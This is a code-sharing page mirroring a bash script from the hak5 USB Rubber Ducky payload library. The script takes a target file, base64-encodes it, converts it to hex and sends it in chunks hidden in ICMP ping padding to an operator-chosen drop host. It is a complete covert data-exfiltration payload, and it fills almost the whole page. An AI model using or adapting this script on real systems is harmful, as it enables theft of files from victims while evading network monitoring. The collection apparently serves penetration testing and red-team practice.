Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/Lin_ICMP-Data-Exfiltration/payload.sh
2968 views
1
#!/bin/bash
2
3
set -eo pipefail
4
5
readonly TARGET_FILE="${1}"
6
readonly DROP_HOST="${2}"
7
8
set -u
9
10
usage() {
11
echo "${BASH} ./payload.sh <TARGET_FILE> <DROP_HOST>"
12
}
13
14
if [ -z "${TARGET_FILE}" ]; then
15
echo "No TARGET_FILE has been defined."
16
usage
17
exit 2
18
fi
19
20
if [ -z "${DROP_HOST}" ]; then
21
echo "No DROP_HOST has been defined."
22
usage
23
exit 2
24
fi
25
26
IFS=$'\n'
27
for chunk in $(base64 --wrap=16 "${TARGET_FILE}"); do
28
hex_digits=""
29
30
for ((hex_iterator=0; hex_iterator<"${#chunk}"; hex_iterator++)); do
31
hex_digits+="$(printf "%X" \'"${chunk:$hex_iterator:1}")"
32
done
33
34
if [ "${hex_iterator}" -lt 16 ]; then
35
sign_required="$((16 - hex_iterator))"
36
37
for ((sign_iterator=0; sign_iterator<"${sign_required}"; sign_iterator++)); do
38
hex_digits+="3D"
39
done
40
fi
41
42
ping -c 1 -p "${hex_digits}" -q -s 32 -W 1 -4 "${DROP_HOST}" &> /dev/null
43
done
44
45